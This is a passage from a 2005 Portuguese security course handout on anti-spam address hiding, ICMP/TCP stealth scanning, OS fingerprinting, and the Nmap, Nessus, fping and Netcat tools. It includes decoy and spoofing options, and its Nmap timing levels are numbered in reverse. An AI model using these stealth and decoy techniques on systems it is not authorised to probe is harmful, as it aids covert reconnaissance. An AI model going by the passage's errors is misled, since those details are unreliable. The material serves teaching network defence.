servidores de SMTP que requerem a autenticao dos usurios antes de enviar o e-mail seu destinatrio. A seguir sero apresentadas algumas tcnicas que podem ser utilizadas para minimizar a ao dos spammer.
Outra forma de se proteger inserir no cdigo html o e-mail utilizando os caracteres codificados e no os caracteres em s, por exemplo no lugar de usuario@exemplo.com.br deveramos utilizar:
usuari@exemp 08;o.com.br
Todos os navegadores existentes conseguem interpretar estes caracteres codificados, mas os robos utilizados pelos spammer no possuem ferramentas para interpretar estes caracteres, no ainda. Outra tcnica que pode ser utilizada so os java scripts, que tambm no so interpretados pelos robos, podemos por exemplo usa a funo documment.writer() para escrever o contedo do e-mail, que permitir aos usurios visualizarem o endereo mas que iro confundir as sondas de coleta, ainda neste sentido podemos colocar o endereo de e-mail em um arquivo externo. A criptografia tambm pode nos ajudar, uma forma bem simplria de resolver o problema utilizar a funo XOR da lgica matemtica para esconder o contedo do texto no cdigo e utilizar o java script para realizar a decodificao do endereo. Mesmo sem uma forma fraca de criptografia ela muito eficientes contra os robos dos spammers. Mas os clientes que no possuem o java script habilitado no podero visualizar o endereo de e-mail, contudo a grande maioria dos navegadores j possuem suporte a java script, basta ento solicitar ao usurio que o habilite em seu navegador. Mas quem falou que e-mail tem que ser representado na forma de texto puro? Se utilizarmos uma
figura contendo o endereo de e-mail, como a maioria dos robos no verificam o contedos das figuras o endereo passar desapercebido. Todavia tambm podemos utilizar uma animao flash para a mesma finalidade, mas o flash nem sempre est instalado na mquina do visitante e ele ainda no foi portado para todas as plataforma que suportam o uso de navegadores web. Entretanto se o motivo de se expor o endereo de e-mail para que os visitantes possam entrar em contato, podemos trocar este endereo por um formulrio simples que pode ser usado para a mesma finalidade. Mas se seu objetivo descobrir quem est garimpando seu site atrs de endereo de e-mail, crie endereos de e-mails dinmicos, atravs de java script, de tal modo que ele contenha a data, hora e endereo ip de quem est acessando a pgina, logo ao receber um e-mail para endereos invalidos seu servidor de e-mail pode repass-los para uma conta especial que o administrador dever monitorar, com isto ser possvel determinar quem ou de onde os robos esto sendo disparados.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 40 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
plataformas Unix-Like e que funciona de forma anloga ao ping, mas com o envio de pacotes de forma paralela que utiliza a mesma tcnica, entretanto realiza o envio dos
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 41 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
pacotes ICMP de forma simultnea para vrios endereos, acelerando o processo de varredura da rede. Outra funcionalidade deste aplicativo a possibilidade de se configurar o "time-out" da conexo. O uso do endereo de Broadcast e de Rede so duas alternativas que podem ser utilizadas neste tipo de varredura. Neste caso, todos os ns ativos na rede devem responder ao n que originou a mensagem com um pacote ICMP ECHO Reply. Desta forma, com um nico pacote possvel varrer todo um segmento de rede. Entretanto, esta tcnica s pode ser aplicada para ns baseados no Unix , uma vez que mquinas com sistema operacional da Microsoft no respondem a solicitao ICMP quando enviada ao endereo de Broadcast ou de Rede. Pois segundo a RFC1122, se um pacote ICMP ECHO enviado via endereo de Broadcast ou de Rede, o mesmo pode ser silenciosamente descartado pelo ns que o recebe. A varredura utilizando endereo de Broadcast ou Rede, pode provocar uma negao de servio ( D.o.S - Denial-of-Service) no n responsvel pelo envio dos pacotes ICMP ECHO. Esta negao de servio ocorre devido grande quantidade de pacotes de resposta que ele recebe para cada pacote ICMP gerado. Non-ECHO ICMP : Alm da mensagem ICMP ECHO, o protocolo ICMP implementa vrios outros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no prprio mapeamento de dispositivos de rede. Dentre as principais mensagens ICMP pode-se destacar: ECHO ( Request - Tipo 8 , Reply - Tipo 0); Time Stamp ( Request - Tipo 13 , Reply - Tipo 14); Information ( Request - Tipo 15 , Reply - Tipo 16) e Address Mask ( Request - Tipo 17 , Reply - Tipo 18). O envio de mensagens do tipo ICMP Time Stamp Request utilizado normalmente, para questionar a um n a sua hora e data atual. Receber uma resposta ICMP Time Stamp Reply , significa que o n est ativo. Contudo, as mensagens ICMP Time Stamp Request no costumam ser respondidas por ns com um dos sistemas operacionais da Microsoft. O comportamento dos sistemas da Microsoft se deve forma como a RFC 1122 foi interpretada pelos seus desenvolvedores. A mensagem ICMP Address Mask Request utilizada por uma mquina sem disco, para obter a mscara de rede durante seu processo de boot e tambm pode ser utilizada para realizar a varredura da rede. Quando uma solicitao deste tipo feita atravs do endereo de Broadcast todos os ns
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 42 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
que esto configurados para responder a esta mensagem envia um "reply" com o endereo solicitado. Normalmente este tipo de mensagem respondida por Gateways, Roteadores e em alguns casos por mquinas, que funcionam como agentes autorizados para o fornecimento de mscara de rede. ICMP Error Messages: Este mtodo consiste no envio de mensagens formatadas de tal modo que ao serem recebidas pelo n produziro uma mensagem de erro do protocolo ICMP. Uma das formas de se provocar uma mensagem de erro atravs do envio de pacotes IP que possuem em seu cabealho campos incorretos. Pacotes deste tipo normalmente geram uma mensagem de erro do tipo "ICMP Parameter Problem Error" , que normalmente possui o campo "Code" configurado para zero (0). Esta varredura permite identificar ns ativos, independentemente dos protocolos (TCP/UDP/ICMP) implementados por eles, que tambm pode ser empregada sobre roteadores. Contudo, roteadores realizam uma verificao mais relaxada dos campos do cabealho IP, como afirma a RFC1812 . Outra vantagem que, esta tcnica pode ser aplicada mesmo se o n est sendo filtrado por algum firewall , uma vez que as mensagens forjadas podem ser enviadas para portas especficas, como por exemplo, as portas TCP: 21, 25, 80 e UDP 53. ICMP Fragment Reassembly Time Exceeded : Quando um n recebe um datagrama fragmentado em vrios pacotes e ao remont-los percebe que esto faltando alguns pacotes, ele os
aguarda por um determinado perodo de tempo, quando ento ir descartar todos os pacotes e enviar ao n que originou os datagramas, uma mensagem de erro do tipo: "ICMP Fragment Reassembly Time Exceeded" . ICMP Fragmentation Needed and Don't Fragment Bit was Set : Quando um roteador recebe uma mensagem, ele verifica o valor do campo "PMTU" , se este for maior do que o valor que ele est utilizando, o roteador pode retornar ao n, que gerou o pacote, uma mensagem de erro do tipo "ICMP Fragmentation Needed and Don't Fragment Bit was Set" . Utilizando esta tcnica, possvel determinar a existncia de Roteadores entre a mquina alvo e a mquina atual, bem como informaes especficas que podem ajudar determinar a suposta marca e modelo deste equipamento.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 43 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Por ser uma tcnica mais furtiva, vrios sistema de monitoramento no registram este tipo de varredura.
Varredura TCP FIN : este tcnica muito utilizada contra sistemas baseados em UNIX, pois quando estes recebem um pacote "FIN" destinado porta fechada, eles enviam de volta um pacote "RST", contudo o mesmo no acontece com sistemas Windows que ignoram o pacote. Este padro documentado na RFC793 . Varredura TCP Xmas Tree : neste caso ocorre o envio de um pacote com os bits "FIN" , "URG" e "PUSH" ligados porta alvo e segundo a RFC793, toda porta fechada deve responder com um pacote "RST" Varredura TCP NULL : Quando uma porta alvo recebe um pacote com todos os flags desligados (setados como 0), ela deve responder com um pacote "RST" caso esteja fechada. Varredura TCP ACK : Esta tcnica usada para mapear regras de um determinado firewall, permitindo determinar se o firewall apenas um filtro de pacote ou um firewall de estados. Varredura TCP Windows : Esta tcnica analisa o tamanho do campo Window do protocolo TCP e permite determinar se a porta est aberta , filtrada ou no filtrada . Esta anlise possvel, pois alguns gateways de segurana alteram o valor deste campo quando filtram determinadas portas. Varredura TCP RPC : Esta tcnica permite identificar qual a verso dos aplicativos RPC \footnote {O servio RPC (Remote Procedure Call) especifico do sistema operacional UNIX. que esto ativos em um n Unix Like. Alguns dos servios que fazem uso do RPC so o NFS (Network File System) e o NIS (Network Information Service).
Uma forma alternativa de anlise consiste na escolha de uma porta UDP que, segundo a lista de porta definida pela IANA, no deve estar em estado de escuta, e no envio de pacotes, se a mesma no responder com uma mensagem "ICMP Port Unreachable Error" porque ela est sendo filtrada. Existe uma grande quantidade de ferramentas disponveis para se realizar a varredura de redes de computadores, no entanto, apenas algumas se destacam pelas suas funcionalidades, dentre elas: Varredura de ICMP: Ping, Fping, Hping, Nmap, Icmpenum e Icmpquery. Varredura de Portas: Nmap, Strobe, Udp_scan e Netcat.
com exatido, o Sistema Operacional ativo em um n remoto e portanto necessrio o uso de uma outra metodologia para este fim. A metodologia comumente utilizada para determinar o sistema operacional de um n se baseia na coleta de seu "fingerprint" ou sua "impresso digital" . Quando os desenvolvedores dos vrios sistemas operacionais implementam a pilha do protocolo TCP/IP , eles normalmente interpretam de forma distinta as recomendaes feitas pelas RFCs e produzem pilhas com caractersticas prprias. Estas caractersticas formam o "fingerprinting" de um n. Analisando o comportamento da pilha de uma determinada verso de um sistema operacional e mapeando o resultado dentro de um banco de dados, possvel utilizar estes dados para a verificao do sistema operacional de outros ns. O "fingerprinting" de um n pode ser coletado de forma Ativa , atravs do envio de pacotes ao n alvo e da anlise do pacotes recebidos, e de forma Passiva , pela anlise de pacotes pertencentes a conexes j estabelecidas e coletados diretamente pela interface de rede.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 46 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
pacote ACK . Alguns sistemas respondem ao pacote com o mesmo nmero seqencial daquele que o originou, outros incrementam este valor em uma unidade antes de respond-lo; Limitao das Mensagem de Erro ICMP: alguns sistemas operacionais, seguindo as recomendaes da RFC1812, limitam a taxa de envio das mensagens de erro ICMP a um determinado valor por intervalo de tempo. Sendo este valor padronizado, basta enviar vrios pacotes UDP uma porta fechada e aguaradar a mensagem "ICMP port unreachable" . Esta tcnica normalmente no muito
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 47 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
utilizada, pois torna a coleta do fingerprinting lenta ; Tipo de Servio (TOS): a maioria dos sistema operacionais setam este campo para zero (0) quando enviam uma mensagem " ICMP port unreachable ", apesar de alguns sistemas operacionais utilizam valores diferentes. Opes do TCP: as opes bsicas do protocolo TCP so determinadas pela RFC793 e pela RFC1323, j as opes avanadas so definidas pela RFC1323. Realizando o envio de vrios pacotes com valores especficos nestes campos e analisando a resposta, pode-se supor o sistema operacional ativo, visto que nem todos os sistemas implementam todas as opes descritas nestas RCFs . Existem ainda outras tcnicas que no se utilizam de pacotes TCP ou UDP, ao invs disto, fazem uso de mensagens de ICMP. Estas tcnicas foram utilizadas por Ofir Arkin na construo da ferramenta Xprobe .
O segundo campo analisado o Windows Size , que normalmente possui valor igual a 0x7D78 quando a mquina possui uma verso do Windows ou do Linux instalado. O terceiro campo verificado o
flag DF , que indica se o pacotes est fragmentado ou no. Poucos so os sistemas que setam este bit como "zero", mas o SCO e o OpenBSD utilizam este padro. O ultimo campo verificado o TOS , que na maioria das mensagem est setado para "zero". Por exemplo: suponha que um dos pacotes capturados pelo "sniffer" apresente as caractersticas abaixo . Cruzando os dados coletados com as informaes acima, pode-se concluir que o n provavelmente roda uma verso do Kernel do Linux. TTL 64 Window Size 0x7D78 DF bit 1 TOS 0x0 Outros campos tambm podem ser utilizados na deteco do sistema operacional de forma passiva, mas softwares como o Siphon, p0f e o Cheops utilizam somente estes quatro campos para gerar e verificar as assinaturas dos sistemas operacionais.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 49 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
9)Kit de Ferramentas
As prximas sesses apresentam algumas ferramentas comumente utilizadas por administradores no processo de verificaao do nvel de segurana de seus ambientes.
9.1) Nmap
O Nmap fornece, de uma maneira geral, a relao de computadores e servios ativos. Existem diversas formas e parmetros a serem informados durante uma varredura. Para obter o cdigo fonte s acessar o link abaixo e procurar por Latest Stable Version Tarball: http://www.insecure.org/nmap_download.html Este aplicativo possui os seguintes mtodos de varredura: -sP ou Ping scan: Algumas vezes necessrio saber se um determinado host ou rede est no ar. Nmap pode enviar pacotes ICMP echo request para verificar se determinado host ou rede est ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP echo request, ento envia um pacote TCP ACK para a porta 80 (default) e caso receba RST o alvo est ativo. A terceira tcnica envia um pacote SYN e espera um RST ou SYN-ACK. -sR ou RCP scan: Este mtodo trabalha em conjunto com vrias tcnicas do Nmap. Ele considera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC, para determinar se realmente so portas RPC. como se o comando rpcinfo -p estivesse sendo utilizado, mesmo atravs de um firewall ( ou protegido por TCP wrappers ). -sS ou TCP SYN scan: Tcnica tambm conhecida como half-open, pois no abre uma conexo TCP completa. enviado um pacote SYN, como se ele fosse uma conexo real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta est aberta, enquanto um como resposta indica que a porta est fechada. A vantagem dessa abordagem que poucos iro detectar esse scanning de portas. -sT ou TCP connect() scan: a tcnica mais bsica de TCP scanning. utilizada a chamada de sistema (system call) connect() que envia um sinal as portas ativas. Caso a porta
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 50 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
esteja aberta recebe como resposta connect(). um dos scan mais rpidos, porm fcil de ser detectado. -sU ou UDP scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um host. A tcnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebido uma mensagem ICMP port unreachable ento a porta est fechada, seno a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugesto da RFC e com isso a varredura de mquinas Windows muito rpida. -sV ou Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos mtodos, o nmap ir determinar qual o servio est rodando atualmente. O arquivo
nmap-service-probes utilizado para determinar tipos de protocolos, nome da aplicao, nmero da verso e outros detalhes. -sF, -sX, -sN ou Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam pacotes SYN's em portas restritas, ento necessrio utilizar mtodos avanados para atravessar esses softwares. FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH so utilizados no pacotes FIN que enviado ao alvo. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. Nenhuma flag ligada no pacote FIN. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Alm destas o nmap possui outras opes de uso geral, das quais podemos destacar: -D <decoy1 [,decoy2][,VOCE],...> :Durante uma varredura, utiliza uma srie de endereos falsificados, simulando que o scanning tenha originado desses vrios hosts, sendo praticamente impossvel identifiicar a verdadeira origem da varredura. nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 51 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
-F : Procura pelas portas que esto no /etc/services. Mtodo mais rpido, porm no procurar por todas as portas. nmap -F alvo -I : Se o host estiver utilizando o ident, possvel identificar o dono dos servios que esto sendo executados no servidor (trabalha com a opo -sT) nmap -sT -I alvo -n : No ir resolver nome de hosts a ser varrido. nmap -n alvo -O : Ativa a identificao do host remoto via TCP/IP. Ir apresentar verso do Sistema Operacional e tempo ativo. nmap -O alvo -p <lista_de_portas> : Especifica quais portas devem ser verificadas na varredura. Por default, todas as portas entre 1 e 1024 so varridas. nmap -p 22,80 alvo nmap -p U:53,111,137,T:21-25,80,139,8080 -P0 :No tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que bloqueiam ICMP echo request (ou responses) atravs de firewall. nmap -P0 alvo -PS[lista_de_portas] :Usa pacotes SYN para determinar se o host est ativo. nmap -PS80 alvo -PT[lista_de_portas] : Usa TCP ping para determinar se o host est ativo. nmap -PT80 alvo -R : Ir resolver nome de hosts a ser varrido. nmap -R80 alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 52 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
-r : A varredura ser feita nas portas randomicamente, no seguinte a ordem crescente. nmap -r alvo -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> Esse parmetro seta a prioridade de varredura do Nmap: Paranoid (-T5) muito lento na esperana de prevenir a deteco pelo sistema IDS. Este serializa todos os scans (scanning no paralelo) e geralmente espera no mnimo 5 minutos entre o envio de pacotes. Sneaky (-T4) similar ao Paranoid, exceto que somente espera 15 segundos entre o envio de pacotes. Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances de
travar a mquina. Ele serializa os testes e espera no mnimo 0.4 segundos entre eles. Normal (-T2) o comportamento default do Nmap, o qual tenta executar to rpido quanto possvel sem sobrecarregar a rede ou perder hosts/portas. Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nunca espera mais que 1.25 segundos para testar as respostas. Insane (-T0) somente adequando para redes muito rpidas ou onde voc no se importa em perder algumas informaes. Nesta opo o timeout dos hosts acontecem em 75 segundos e espera somente 0.3 segundos por teste individual. -ttl <valor> : Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote. nmap -ttl 55 alvo -v : Modo verbose. Mostra tudo o que est se passando. nmap -v alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 53 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizao: nmap -v alvo Esta opo faz a varredura de todas as portas TCP reservadas. nmap -sS -O alvo Lana uma varredura TCP Syn contra cada mquina que est ativa, abrangendo todas as 255 mquinas de classe C onde alvo faz parte. Alm disso determina o sistema operacional de cada host. nmap -sX -p 22,53,110,143 alvo Envia uma varredura Xmas Tree para o alvo, alm de varrer somente os servios de sshd, Dns, pop3d e imapd.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 54 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
9.2) Nessus
Nessus uma ferramenta para auditoria de segurana. Com ele possvel verificar varias vulnerabilidades em sua rede. O nessus permite que se faa isso de uma forma segura, nao permitindo que usurios no autorizados possam scanear sua rede com ele. Ele composto por duas partes, sendo um cliente e um servidor. Pode-se us-lo a partir do windows, porm isso no ser abordado nesse artigo. Ele possui uma srie de recursos bastante interessantes como trabalhar em conjunto com o nmap e tambm a possibilidade de atualizao apenas baixando novos plugins de ataques e/ou vulnerabilidades. O Nessus foi criado em 1998 por Renaud Deraison, sendo que naquela poca o melhor security scanner era o SATAN ( que se encontrava bastante desatualizado ). Deraison resolveu dividir o sistema em plugins, facilitando muito a atualizao e a preveno contra novos ataques. A partir da verso 1.0.0 foi criado um script que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade e assim sugerir uma forma ou explicao para corrigi-la. O nessus possui uma GUI muito flexvel onde voc configura vrios detalhes de varredura na sua rede. Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que sero scanneados. Primeiramente rode o nessus cliente, bastando para isso digitar nessus na linha de comando. Ele pedir, entao, a senha que voc configurou inicialmente. Vamos abordar agora quais so as opes de configurao do cliente nessus. Nessus host : nesta aba de configurao voc deve especificar o endereo ip do daemon nessus e tambm a porta tcp em que ele est rodando (geralmente 1241). Nesta tela tambm possvel optar pelo
algoritmo de criptografia que ser usado. Tambm preciso especificar o nome do usurio para logar no daemon. Plugins : Aqui reside todo o poder do nessus, nesta aba se encontram as exploraes (exploits) das vulnerabilidades conhecidas em forma de plugins. O nessus se vale destes plugins para avaliar as vulnerabilidades do sistema scanneado. Prefs. : So especificados valores como usurios e senhas de servios como ftp, pop, imap e smb. De porte desses dados o nessus pode fazer verificaes muito mais eficitentes nos seus hosts, j que alguns exploits pressupem que o "explorador" possui uma conta vlida de algum desses servios. Tambm possvel configurar o tipo de scan que ser usado pelo nmap ( caso possua ). Scan Option -> Aqui pode-se especificar as portas que sero scaneadas pelo nessus, use virgula para portas individuais e hfen para intervalos(80,110,443-1024). No caso de utilizar o nessus para scanear servidores web bastante interessante especificar o path, ou caminho, dos CGI's no seu servidor. Por
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 55 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
exemplo se voc especificar o path /cgi-bin/ para o nessus procurar por CGI's "exploitveis" em http://host/cgi-bin/. Target Selection : Preencha o nico campo desta aba para especificar as mquinas que sero scaneadas. Clicando no boto "Read file..." voc especifica um arquivo onde esto o endereos IP das mquinas a serem verificadas. User : Aqui esto suas informaces pessoais como a chave que deve ser usada e tambm pode-se trocar a sua senha do nessus Abaixo temos as principais telas deste aplicativo:
( Aba Host) (Aba Plugins)
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 56 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
( Aba Perfs) (Aba Scan Options) ( Aba Target Selection) (Aba KB)
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 57 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Remotely, Gain Root Remotely, Backdoors, Remote File Access. Cabe a voc analisar quais plugins devero ser utilizados na varredura, caso sua rede seja composta apenas por sistemas *NIX no existe a menor necessidade de utilizar os plugins referentes a Wingate, por exemplo. Aps escolher os plugins mais adequandos a sua rede vamos escolher quais hosts sero scaneados. Clique na aba Target Selection e especifique as mquinas que deseja scanear ( todas elas devem estar com o nessusd rodando ). Como mencionado acima voc deve colocar os alvos(targets) separados por vrgula ou especificar um arquivo de onde onde o nessus ir ler os alvos. Com tudo configurado(geralmente no preciso mudar muita coisa) voc pode iniciar a varredura em sua rede para isto clique no boto "Start the scan". Agora o nessus ir varrer sua rede isso pode demorar um pouco conforme a velocidade da rede e quantidade de plugins que voc selecionou. Feito a varredura podemos verificar a falhas de segurana e as recomendaes do nessus para as vulnerabilidades encontradas. Na tela Nessus Report voc v os hosts scaneados a esquerda e as vulnerabilidades encontradas em cada um deles direita. Clicando no sinal de + sobre as vulnerabilidades tem-se a explicao do problema e tambm como proceder para corrigi-lo. Para uma futura referncia podese tambm exportar o relatrio basta escolher o formato e clicar em "Save as..." recomendo escolher a opco "Save as HTML with pies an graphs" com isso nessus ir salvar os resultados na pasta que voc escolher e tambm gerar grficos sobre as vulnerabilidades de sua rede juntamente com o tradicional relatrio em HTML. Para realizar a atualizao de seus plugins, o nessus possui um script, que para funcionar necessita que se esteja conectado na internet. Para executa-lo rode o seguinte comando: nessus-update-plugins -v
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 58 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Com a opo -v sero exibidos os plugins que esto sendo baixados. Este script no possui nenhuma forma para verificar a integridade dos plugins baixados,por isso use-o com cautela. ( leia a manpage deste script para maiores detalhes)
9.3) Fping
O fping um programa que, assim como ping, utiliza o protocolo ICMP ( ) para determinar se um ou vrios ns da rede esto ativos, mas ao contrrio do ping, ele permite realizar a verificao de vrios ns ao mesmo tempo, o endereo dos ns pode ser passado via linha de comando ou atravs de um arquivo texto. O fping ao receber uma confirmao de atividade automaticamente, envia um aviso de atividade e exclui o host da lista de verificao, mas quando um n no responde em no perodo pr determinado ele tido como desligado ou no alcanvel. Este comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e sua sada ser de fcil manipulao. Este comando aceita os seguintes parmetros: -a : lista somente aqueles ns que esto ativos;
_____ __ _______________________________ _ ____!__"#___
-A : mostra o endereo do n ao invs do seu nome de domnio; -c : informa quanto pacotes devem ser enviados para cada host; -C : assim como o anterior, mas este informa no final o tempo de resposta em milisegundos de cada pacote; -e : mostra o tempo decorrido at o recebimento do pacote de verificao; -i : tempo mnimo em milisegundos entre o envio de dois pacotes a qualquer host da rede; -l : loop, envia pacotes indefinidamente; -n : utiliza o nome de domnio do host na sada do comando; -r : nmero de tentativas de alcanar o host; -u : mostra somente os host que no foram alcanados
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 59 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Exemplos: Informa o estado das mquinas utilizando o nome de domnio delas, como pode ser observado logo abaixo:
fping -n 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 ns.ravel.ufrj.br is alive mailhost.ravel.ufrj.br is alive gw-ether.ravel.ufrj.br is alive mailhost.ravel.ufrj.br is alive websec.ravel.ufrj.br is unreachable
Informa somente o nome das mquinas que esto ativas, como vemos abaixo:
fping -na 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 ns.ravel.ufrj.br mailhost.ravel.ufrj.br gw-ether.ravel.ufrj.br mailhost.ravel.ufrj.br
Informa somente o nome das mquinas que no podem ser encontradas, como pode ser observado logo abaixo:
fping -nu 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 websec.ravel.ufrj.br
Envia apenas dois pacotes para cada host e no final informa a taxa de pacotes enviados, recebidos e perdidos, como pode ser observado logo abaixo:
fping -q -n -c 2 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.101 ns.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 50.0/51.8/53.7 mailhost.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 45.5/47.3/49.1 websec.ravel.ufrj.br : xmt/rcv/%loss = 2/0/100% gw-ether.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 51.3/52.5/53.7 146.164.32.101 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 49.8/58.6/76.9
Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta de cada um, como pode ser observado logo abaixo:
fping -q -n -C 5 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.101 ns.ravel.ufrj.br : 490.2 509.4 520.3 505.6 466.7 mailhost.ravel.ufrj.br : 529.4 512.2 526.0 489.0 505.6 websec.ravel.ufrj.br : - - - - gw-ether.ravel.ufrj.br : 479.3 540.4 509.7 478.5 494.6 146.164.32.101 : 684.3 520.1 592.9 533.1 745.8 Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 60 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Informa o tempo de resposta de cada host, informando o seu endereo ip ao invs do seu nome de domnio, como pode ser observado logo abaixo:
fping -A -e protheus.ravel.ufrj.br websec.ravel.ufrj.br www.yahoo.com.br www.gmail.com 146.164.32.67 is alive (53.3 ms) 200.152.161.113 is alive (45.9 ms) 64.233.171.107 is alive (534 ms) 146.164.32.75 is unreachable
9.3) Netcat
Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo
TCP/IP. Dada sua grande versatilidade, o NetCat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force attacks. O nome netcat vem do comando cat do Linux/Unix. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP.
-r : Faz as portas do portscan serem escolhidas aleatoriamente; -s : Especifica o endereo IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado; -t : Permite usar o nc para criar sesses de telnet por script. Precisa estar compilado com a opo -DTELNET; -u : Usar UDP ao invs de TCP; -v : Controla o nvel de mensagens mostradas na tela; -w : Limita o tempo mximo para que uma conexo seja estabelecida; -z : Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo UDP.
O comando ifconfig tambm permite verificar se o comando foi bem sucedido: ifconfig
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0
